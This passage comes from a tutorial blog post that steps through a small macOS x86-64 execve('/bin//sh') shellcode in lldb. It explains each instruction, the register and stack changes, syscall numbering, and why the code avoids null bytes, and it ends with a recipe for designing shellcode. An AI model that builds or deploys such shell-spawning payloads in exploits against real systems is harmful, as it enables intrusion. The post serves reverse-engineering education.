The first operation is actually an xor that zeroes the contents of the ESI register (every value XORred with itself returns zero). Then there is the mul instruction. It is the mnemonic for multiply and it has quite a peculiar syntax, because some of its operands are implicit. This instruction performs an unsigned multiplication of the first operand (destination operand) and the second operand (source operand) and stores the result in the destination operand. The destination operand is implied, and it is EAX (or RAX). So, writing mul src means multiplying rax and src as unsigned integers, and putting the result in rax and the high 64 bits of the product into rdx. In this case, the result of the instruction 0x100003fa0 is zeroing both RAX and RDX. After the instruction is executed, we have:

(lldb) s
Process 61834 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = instruction step into
    frame #0: 0x0000000100003fa2 shellspawn`main + 4
shellspawn`main:
->  0x100003fa2 <+4>:  bts    eax, 0x19
    0x100003fa6 <+8>:  mov    al, 0x3b
    0x100003fa8 <+10>: movabs rbx, 0x68732f2f6e69622f
    0x100003fb2 <+20>: push   rdx
Target 0: (shellspawn) stopped.
(lldb) register read RAX RDX RSI
     rax = 0x0000000000000000
     rdx = 0x0000000000000000
     rsi = 0x0000000000000000

The next instruction, bts is bit test and set. It selects the bit in a bit string (specified with the first operand, called the bit base) at the bit-position designated by the bit offset operand (second operand), stores the value of the bit in the CF flag, and sets the selected bit in the bit string to 1.

EAX is a 32 bits register zeroed; and 0x19=25; this means that the result of the operation will be a string of all 0, apart for the 25th bit, set to 1: 0000 0010 0000 0000 0000 0000 0000 0000 or 0x02000000, and in fact we have:

(lldb) s
Process 61834 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = instruction step into
    frame #0: 0x0000000100003fa6 shellspawn`main + 8
shellspawn`main:
->  0x100003fa6 <+8>:  mov    al, 0x3b
    0x100003fa8 <+10>: movabs rbx, 0x68732f2f6e69622f
    0x100003fb2 <+20>: push   rdx
    0x100003fb3 <+21>: push   rbx
Target 0: (shellspawn) stopped.
(lldb) register read RAX
     rax = 0x0000000002000000

The next instruction pushes 0x3b into the lowest part of the RAX/EAX register; in decimal, this is 59, the number of our syscall. In practical terms, after the execution of this instruction, we expect that the register RAX will contain 0x000000000200003b; and coherently we have:

(lldb) s
Process 61834 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = instruction step into
    frame #0: 0x0000000100003fa8 shellspawn`main + 10
shellspawn`main:
->  0x100003fa8 <+10>: movabs rbx, 0x68732f2f6e69622f
    0x100003fb2 <+20>: push   rdx
    0x100003fb3 <+21>: push   rbx
    0x100003fb4 <+22>: push   rsp
Target 0: (shellspawn) stopped.
(lldb) register read EAX
     eax = 0x0200003b

So far, the instructions in the disassembled did not differ from the original ones, now we have quite a discrepancy, but here? How can mov rbx, '/bin//sh' translate in movabs rbx, 0x68732f2f6e69622f? Well, 68732f2f6e69622f is 16 chars, just exactly as the string '/bin//sh'. If we translate bitwise the string in ASCII we have:

which is /bin//sh/ written backwards. This has to do with the endianness of macOS, which is little-endian. Shortly, this pushes the absolute value of the string into rbx:

(lldb) s
Process 61834 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = instruction step into
    frame #0: 0x0000000100003fb2 shellspawn`main + 20
shellspawn`main:
->  0x100003fb2 <+20>: push   rdx
    0x100003fb3 <+21>: push   rbx
    0x100003fb4 <+22>: push   rsp
    0x100003fb5 <+23>: pop    rdi
Target 0: (shellspawn) stopped.
(lldb) register read rbx
     rbx = 0x68732f2f6e69622f

So far, the RSI and RDX registers have been instantiated. Furthermore, RAX has been initialised with the syscall code. Now the only need to instantiate the value of RDI. This next instruction would push the current value of rdx (0x0) in the stack.

For starters, before executing the instruction we read the value of the stack pointer register:

(lldb) register read rsp
     rsp = 0x00007ff7bfeff888

and we do the same after the instruction is run:

(lldb) register read rsp
     rsp = 0x00007ff7bfeff880

This also highlights how the stack grows to lower memory addresses.

If we were to examine the memory area pointed by RSP before the instruction is executed, we'd see:

(lldb) memory read 0x00007ff7bfeff888-64 0x00007ff7bfeff888+64
0x7ff7bfeff848: a0 83 08 00 01 00 00 00 9e 3f 00 00 01 00 00 00  .........?......
0x7ff7bfeff858: 10 40 07 00 01 00 00 00 80 f8 ef bf f7 7f 00 00  .@..............
0x7ff7bfeff868: 83 28 01 00 01 00 00 00 25 00 00 00 00 00 00 00  .(......%.......
0x7ff7bfeff878: 60 00 0c 00 01 00 00 00 90 f9 ef bf f7 7f 00 00  `...............
0x7ff7bfeff888: 1e d5 00 00 01 00 00 00 00 00 00 00 00 00 00 00  ................
0x7ff7bfeff898: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x7ff7bfeff8a8: 00 00 00 00 00 00 00 00 a0 83 08 00 01 00 00 00  ................
0x7ff7bfeff8b8: 00 00 00 42 00 00 00 00 83 d5 00 00 01 00 00 00  ...B............

After the instruction, we'd have:

(lldb) memory read 0x00007ff7bfeff888-64 0x00007ff7bfeff888+64
0x7ff7bfeff848: a0 83 08 00 01 00 00 00 9e 3f 00 00 01 00 00 00  .........?......
0x7ff7bfeff858: 10 40 07 00 01 00 00 00 80 f8 ef bf f7 7f 00 00  .@..............
0x7ff7bfeff868: 83 28 01 00 01 00 00 00 25 00 00 00 00 00 00 00  .(......%.......
0x7ff7bfeff878: 60 00 0c 00 01 00 00 00 00 00 00 00 00 00 00 00  `...............
0x7ff7bfeff888: 1e d5 00 00 01 00 00 00 00 00 00 00 00 00 00 00  ................
0x7ff7bfeff898: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x7ff7bfeff8a8: 00 00 00 00 00 00 00 00 a0 83 08 00 01 00 00 00  ................
0x7ff7bfeff8b8: 00 00 00 42 00 00 00 00 83 d5 00 00 01 00 00 00  ...B............

Exactly in the same manner, the contents of rbx is pushed in the stack:

(lldb) register read rbx
     rbx = 0x68732f2f6e69622f
(lldb) s
Process 71654 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = instruction step into
    frame #0: 0x0000000100003fb4 shellspawn`main + 22
shellspawn`main:
->  0x100003fb4 <+22>: push   rsp
    0x100003fb5 <+23>: pop    rdi
    0x100003fb6 <+24>: syscall 
    0x100003fb8:       add    dword ptr [rax], eax
Target 0: (shellspawn) stopped.
(lldb) memory read 0x00007ff7bfeff888-64 0x00007ff7bfeff888+64
0x7ff7bfeff848: a0 83 08 00 01 00 00 00 9e 3f 00 00 01 00 00 00  .........?......
0x7ff7bfeff858: 10 40 07 00 01 00 00 00 80 f8 ef bf f7 7f 00 00  .@..............
0x7ff7bfeff868: 83 28 01 00 01 00 00 00 25 00 00 00 00 00 00 00  .(......%.......
0x7ff7bfeff878: 2f 62 69 6e 2f 2f 73 68 00 00 00 00 00 00 00 00  /bin//sh........
0x7ff7bfeff888: 1e d5 00 00 01 00 00 00 00 00 00 00 00 00 00 00  ................
0x7ff7bfeff898: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x7ff7bfeff8a8: 00 00 00 00 00 00 00 00 a0 83 08 00 01 00 00 00  ................
0x7ff7bfeff8b8: 00 00 00 42 00 00 00 00 83 d5 00 00 01 00 00 00  ...B............

and so is rsp:

(lldb) register read rsp
     rsp = 0x00007ff7bfeff878
(lldb) s
Process 71654 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = instruction step into
    frame #0: 0x0000000100003fb5 shellspawn`main + 23
shellspawn`main:
->  0x100003fb5 <+23>: pop    rdi
    0x100003fb6 <+24>: syscall 
    0x100003fb8:       add    dword ptr [rax], eax
    0x100003fba:       add    byte ptr [rax], al
Target 0: (shellspawn) stopped.
(lldb) memory read 0x00007ff7bfeff888-64 0x00007ff7bfeff888+64
0x7ff7bfeff848: a0 83 08 00 01 00 00 00 9e 3f 00 00 01 00 00 00  .........?......
0x7ff7bfeff858: 10 40 07 00 01 00 00 00 80 f8 ef bf f7 7f 00 00  .@..............
0x7ff7bfeff868: 83 28 01 00 01 00 00 00 78 f8 ef bf f7 7f 00 00  .(......x.......
0x7ff7bfeff878: 2f 62 69 6e 2f 2f 73 68 00 00 00 00 00 00 00 00  /bin//sh........
0x7ff7bfeff888: 1e d5 00 00 01 00 00 00 00 00 00 00 00 00 00 00  ................
0x7ff7bfeff898: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x7ff7bfeff8a8: 00 00 00 00 00 00 00 00 a0 83 08 00 01 00 00 00  ................
0x7ff7bfeff8b8: 00 00 00 42 00 00 00 00 83 d5 00 00 01 00 00 00  ...B............

Finally the value of rdi is instantiated with the top of the stack (which contains the value of rsp, 0x00007ff7bfeff878):

(lldb) register read rdi rsp
     rdi = 0x0000000000000001
     rsp = 0x00007ff7bfeff870
(lldb) s
Process 71654 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = instruction step into
    frame #0: 0x0000000100003fb6 shellspawn`main + 24
shellspawn`main:
->  0x100003fb6 <+24>: syscall 
    0x100003fb8:       add    dword ptr [rax], eax
    0x100003fba:       add    byte ptr [rax], al
    0x100003fbc:       sbb    al, 0x0
Target 0: (shellspawn) stopped.
(lldb) register read rdi rsp
     rdi = 0x00007ff7bfeff878
     rsp = 0x00007ff7bfeff878

Finally, the syscall is invoked and a new shell is spawned.

Strategy

A quick recap of how the shellcode works.

1 - find the syscall number and specification

First of all, syscalls. A quick way to find syscalls is:

gbiondo@tripleX sys % pwd
/Library/Developer/CommandLineTools/SDKs/MacOSX12.3.sdk/System/Library/Frameworks/Kernel.framework/Versions/A/Headers/sys
gbiondo@tripleX sys % cat syscall.h

As we have seen before, once we have the number of the syscall, the number shall be converted in hexadecimal, and added to 0x02000000. The resulting value shall be stored in the EAX/RAX register.

The next stage would be understanding the parameters accepted by the syscall itself. For instance, we see that syscall 4 is SYS_write, or, seen differently (syscalls.master file):

4    AUE_NULL    ALL    { user_ssize_t write(int fd, user_addr_t cbuf, user_size_t nbyte); }

We conjecture that this syscall has 3 parameters: a file descriptor, the address of the buffer, and the size of the string to print. Confirmation comes from man 2 <syscall name>. In this case, a man 2 write would return:

ssize_t write(int fildes, const void *buf, size_t nbyte);

and the subsequent description of the parameters.

For shellcode, the most important syscall to know is execve, so let's stick to it. Its description is above. In this example, we simply invoke /bin/sh, so there is no need to use other parameters. In the next article we'll take care of how to run commands with parameters.

Some of you may have seen that the author of the blog post where we found the code used the string /bin//sh with two slashes between the directory and the executable. We'll come back on this later, but the reason why this string is used is to avoid null bytes.

2 - Zeroing RSI

This is accomplished by XORring the values of the registers with itself. The reason the task hasn't been accomplished with:

mov rsi, 0

is to avoid null bytes. This topic comes quite frequently, and there's a good reason. For the very moment, we religiously accept the dogma "null bytes are the root of all evil" :).

3 - Zeroing RAX and RDX

This is nothing but good practice. Good housekeeping practices :)

4 - Setting up RAX

RAX shall contain the number of the syscall. Consider that the value 0x02000000 can be stored in 32 bits, so the author uses EAX instead. Creating that constant means setting the 25th bit of a zeroed register to 1. 59 can be stored in 16 bits, so the author uses AL to store the value - simply moving the number to the register.

Actually the actions taken in points 3- and 4- show an inherent, intrinsic elegance...

5 - The first parameter to execve

The first parameter to execve is stored in the register RDI. It must be a null-terminated string containing the path of the executable. This string is built in the stack, and then popped to RDI. This is accomplished by storing the string in a temporary register (rbx), storing a null-terminator in the stack, and finally storing the string in the stack - remember that the stack is LIFO! - finally, the resulting string is popped down to the register.

6 - The second parameter to execve

The second parameter to execve is stored in RSI. It contains the list of parameters passed to the function. In our case, the list is empty, and considering that the register has been initialised to 0 in point 1 -, no further change is required.

7 - The third and last parameter to execve

The last parameter to the syscall is stored in RDX. In point 3 - its value has been set to 0. This is coherent, in fact, the third parameter is supposed to contain a null-terminated array in which environment variables are passed. In this case, it's an empty list.

Conclusions

This post focused on analysing the "malware" - or better, the shellcode, assuming we know no assembly. Every step has been explained like we had no assembly talent whatsoever - which is good, because this is how we learn to reverse-engineer something.

We will see some more examples, and then obtain a more generic strategy to use when designing shellcode.

See you next time. Have fun!